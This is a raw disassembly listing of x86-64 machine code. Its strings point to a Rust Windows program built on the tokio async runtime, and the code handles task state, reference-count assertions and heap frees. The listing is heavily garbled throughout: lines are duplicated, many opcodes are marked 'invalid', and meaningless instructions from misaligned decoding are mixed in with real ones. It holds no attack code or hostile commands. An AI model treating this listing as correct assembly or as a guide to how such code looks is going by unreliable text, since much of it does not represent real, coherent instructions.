mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
add al, ch
movabs eax, dword [0x12883c60005ec]
add byte [rcx], al
add al, ch
movabs eax, dword [0x12883c60005ec]
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
clc
invalid
je 0x14008e449
clc
add dh, byte [rsp + riz*2 - 0x7d]
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x110f1c
cmp eax, 1
je 0x14008e417
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
sub dword [rax], 1
add byte [rax], al
invalid
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x110eef05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x14008e450
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 3
mov qword [rsi + 0x38], 1
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
mov eax, dword [0x14019f30c]
add eax, 0x110e92
add eax, 0x110e92
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008e4df
cmp eax, 1
je 0x14008e4c5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rcx + rax*8]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x1400800b0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
push rbx
sub rsp, 0xa0
add byte [rdi], cl
sub dword [rsp + 0x90], esi
add byte [rdi], cl
sub dword [rsp + 0x90], esi
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14008e549
lock cmpxchg qword [rsi], rcx
je 0x14008e574
test al, 4
je 0x14008ebcd
clc
invalid
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008e549
movzx eax, dl
mov dh, 0xc2
lea rcx, [0x1401944dc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rsi + 0xa8], 3
add byte [rbx], al
jae 0x14008ec2d
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
adc dword [rax], eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008e799
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
cmp eax, 1
je 0x14008e624
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
add al, 0xea
add eax, 0x86c64100
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
invalid
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
add dword [rbx + 0x110ce205], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
add eax, 0x110ce2
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008e79c
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008e6d8
invalid
mov rdi, qword fs:[rsi + 0x28]
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je case.0x14006b64f.145
mov eax, dword [0x14019f30c]
add eax, 0x110c89
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
invalid
fadd dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
adc eax, 0x728d2
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
jmp case.0x14005f8a0.160
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140069230
stosq qword [rdi], rax
std
inc esi
xchg byte [rax + 0x4000000], ch
add byte [rax], al
invalid
invalid
stosq qword [rdi], rax
std
inc esi
xchg byte [rax + 0x4000000], ch
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rbx + rcx*4], al
add eax, 0x110c18
invalid
mov eax, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008e771
cmp eax, 1
je 0x14008e73f
add dword [rbp + rbp - 0x75], esi
add eax, 0x110bf4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008e778
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140069230
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
cmp byte [rax], al
add byte [rax], al
invalid
cmp byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsi + 0x48], rbx
jmp 0x14008eaae
add eax, dword [rax]
invalid
mov qword [rsi + 0x48], rbx
jmp 0x14008eaae
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rdi], cl
xorps xmm6, xmm6
push rdi
test byte [rax - 0x73], 0x5c
and al, 0x60
lea rbx, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
call fcn.14009d940
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
je 0x14008e81e
cmp ecx, 1
je 0x14008e802
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
add dword [rcx + 0x40d8be8], ecx
or edx, dword [rcx]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
mov eax, ebp
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
test al, al
je 0x14008e999
jae 0x14008e825
add byte [rax], al
jae 0x14008e825
add byte [rax], al
add byte [rbp + rcx*4 + 0x76], cl
and byte [rax - 0x75], cl
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
invalid
lea rcx, [rsp + 0x30]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
test al, 1
je 0x14008ebfd
test al, 0x20
jne 0x14008e880
and byte [rbp + 0x34], dh
mov rdx, rax
and rdx, 0xffffffffffffffde
invalid
test al, 4
jne 0x14008e8a0
fisubr word [rax + 0x48497504]
cmp eax, 0x3f
cmp rax, 0x3f
jbe 0x14008ebe5
xchg byte [rbx + rax - 0x7cb80000], al
ret 0x48c0
add byte [rax], al
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
rol byte [rbp], 0xc0
rol byte [rbp], 0xc0
shr bl, 0x3e
jmp 0x14008e8b0
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
jl 0x14008e8b2
xor byte [rcx], al
jl 0x14008e8b2
xor byte [rcx], al
je 0x14008e8c6
jmp 0x14008e8d6
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test rax, rax
js 0x14008ec15
mov byte [rbx + rax], ch
invalid
mov byte [rbx + rax], ch
add byte [rax - 0x7d], cl
add edx, 0x40
invalid
add rdx, 0x40
add edx, 0x40
mov r8b, 1
mov r8b, 1
mov qword [rsp + 0x30], 1
and al, 0x30
add dword [rax], eax
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
add byte [rcx - 0x77], cl
mov ecx, ebx
mov r9, rbx
mov ecx, ebx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
jne 0x14008e8d6
mov rdx, qword [rsp + 0x60]
lock cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
jne 0x14008e840
push 0xffffffffffffffff
invalid
movzx eax, r8b
lea rcx, [0x1401944ec]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
or dword [rax + 1], 0x48e0ffc8
mov eax, dword [rsi + 0x20]
jmp rax
mov rax, qword [rsi + 0x20]
add rax, 0x10
add eax, 0x10
mov byte [rsp + 0x60], 1
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rsi
je 0x14008e924
and al, 0x38
cmp byte [rax - 0x73], cl
and al, 0x60
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
xor al, ch
stosd dword [rdi], eax
invalid
invalid
add byte [rax - 0x39], cl
rol al, 0xff
invalid
push rax
xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
xor al, ch
stosd dword [rdi], eax
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
invalid
jbe 0x14008ec65
add eax, dword [rax]
add byte [rax - 0x7d], cl
loopne 0x14008e8ef
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008e585.2
invalid
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x14008e94a
mov rcx, r14
call fcn.1400caa30
add eax, dword [rax]
add eax, dword [rax]
mov rcx, rdi
jmp 0x14008e966
invalid
invalid
xor al, r13b
xor eax, 0x48ffff01
mov eax, dword [rsi + 0xc0]
call fcn.14007eaa0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14008e981
sal byte [rdx + rcx + 0x48], 0x8b
mov cs, eax
enter 0, 0
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [rsi + 0xc8]
enter 0, 0
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008e585.2
cmp cl, 2
je 0x14008ea06
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008ea09
mov rcx, rdi
call fcn.140069230
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008ea9b
cmp eax, 1
je 0x14008ea69
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x1108ca
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rcx
jmp 0x14008ea9e
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140069230
mov qword [rsi + 0x30], 0
mov byte [rsi + 0xa8], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
add byte [rbx + 0x4c7402f8], al
add dword [rax], eax
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x14008eb06
invalid
sub eax, 0x82d058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
or byte [rcx], dl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rcx + rax*8]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
and ebp, esp
add eax, 0x2887c600
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
invalid
invalid
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
add byte [rax], cl
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
call 0x140081800
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
or eax, 0x24ba00
add byte [rax], al
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov eax, dword [rsi + 0xc0]
test rax, rax
je 0x14008ee71
mov rcx, qword [rsi + 0xc8]
add byte [rax], al
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add eax, 0xd9224
mov edx, 0x27
call fcn.140122660
int3
add dword [0x18898ef4b], eax
add esp, 0x20
pop rsi
ret
or eax, 0x58d4c00
xchg esp, eax
xchg ecx, eax
or eax, 0x27ba00
add byte [rax], al
call fcn.140122660
int3
and byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, eax
xor edx, edx
mov rcx, rax
mov ecx, eax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x14008ef80
test cl, 3
je 0x14008f010
add esi, dword [rdx + rsi*2 + 0x48]
mov eax, 0xffffffc0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008f1e1
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008f03c
jne 0x14008f03c
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008efd1
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007eaa0
mov rax, qword [rsi + 0xc0]
test rax, rax
invalid
je 0x14008eff0
sal byte [rdx + rcx + 0x48], 0x8b
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add al, 0xa
invalid
add al, 0xa
add byte [rax - 0x75], cl
jle 0x14008f03c
invalid
mov rdi, qword [rsi + 0x28]
sub byte [rbx + 0x1102f205], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14008f049
add byte [rbp + 0xf1774c0], al
push rdi
test byte [rbx + 0x3c7401f8], 0xeb
movapd xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
xorps xmm6, xmm6
cmp eax, 1
je 0x14008f076
jmp 0x14008f0a2
movaps xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
invalid
mov eax, dword [0x14019f30c]
add eax, 0x110290
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
xor byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.140069230
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008f138
cmp eax, 1
je 0x14008f106
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x11022d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008f13f
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140069230
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
mov byte [rsi + 0xa8], 3
mov eax, dword [0x14019f30c]
add dword [rcx], edx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add dword [rcx], edx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rax], 1
add byte [rax], al
sub byte [rax], 1
add byte [rax], al
cmp eax, 2
je 0x14008f1cd
add dh, byte [rsp + rcx*2 - 0x7d]
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x110180
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
cmp eax, 1
je 0x14008f1b3
mov ecx, dword [0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11015305], ecx
adc dword [rax], eax
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11015305], ecx
adc dword [rax], eax
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x140081800
invalid
invalid
invalid
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
or eax, 0xd8ed8
lea r8, [0x1401680e8]
mov edx, 0x27
invalid
stc
mov cs, word [0x14030abf2]
add byte [rax], al
invalid
add al, ch
xor al, 9
add ah, cl
int3
call fcn.140122660
int3
int3
int3
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x250
movaps xmmword [rsp + 0x240], xmm6
add al, byte [rax]
add byte [rax - 0x77], cl
mov esi, ecx
add al, byte [rax]
add byte [rax - 0x77], cl
mov esi, ecx
mov esi, ecx
mov rax, qword [rcx]
jmp 0x14008f239
mov rcx, rax
and rcx, 0xfffffffffffffff8
clc
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x14008f264
test al, 4
je 0x14008f5fd
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 0x48db7403], ch
je 0x14008f220
cmp rax, 0x3f
je 0x14008f220
cmp rax, 0x3f
jbe 0x14008f615
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
invalid
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008f239
invalid
invalid
movzx eax, dl
lea rcx, [0x1401944fc]
movsxd rax, dword [rcx + rax*4]
mov ss, word [rdx + 0x10]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rsi
push rax
push rax
lea rax, [rsp + 0x48]
and al, 0x48
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov eax, dword [rsi + 0x30]
cmp byte [rax], al
add byte [rax], al
add byte [rbx - 0x2f08cfba], cl
not eax
not eax
test al, 6
je 0x14008f65d
add eax, dword [rax]
add byte [rax - 0x73], cl
lea edi, [rsi + 0x30]
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
push rbp
add byte [rcx], dl
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
and eax, 0x58
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x14008f384
invalid
mov al, 0
add byte [rax], al
test byte [rax + 0x48000000], dh
mov ebx, dword [rsi + 0x28]
invalid
mov rbx, qword [rsi + 0x28]
sub byte [rbx + 0x2e7401f8], al
cmp eax, 1
clc
add dword [rsi + rbp - 0x75], esi
je 0x14008f30b
invalid
je 0x14008f30b
mov eax, dword [0x14019f30c]
add eax, 0x110029
sub dword [rax], eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
and eax, 0x58
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
adc eax, 0x71c72
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
adc byte [rax + 0xf8], dh
adc byte [rax + 0xf8], dh
mov qword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008f387
mov dword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
and al, 0x58
invalid
mov rcx, rdi
call fcn.140069050
std
pushfq
std
invalid
std
pushfq
std
dec dword [rax - 0x75]
mov rax, qword [rsi + 0x28]
invalid
invalid
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
sub byte [rax - 0x39], cl
and al, 0x60
and al, 0x60
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x58], 6
lea rdx, [rsp + 0x58]
mov rcx, rdi
jmp 0x14008f5a6
xorps xmm6, xmm6
lea r14, [rsp + 0x28]
mov rcx, rdi
mov rdx, r14
call fcn.14009e480
jmp 0xcb08f488
or eax, 0x10ff6f
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
jmp 0xcb08f488
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
invalid
je 0x14008f407
add dh, byte [rcx + rdx*2 - 0x7d]
stc
add dword [rdx + rsi - 0x77], esi
invalid
mov ebx, eax
cmp ecx, 1
je 0x14008f3ed
invalid
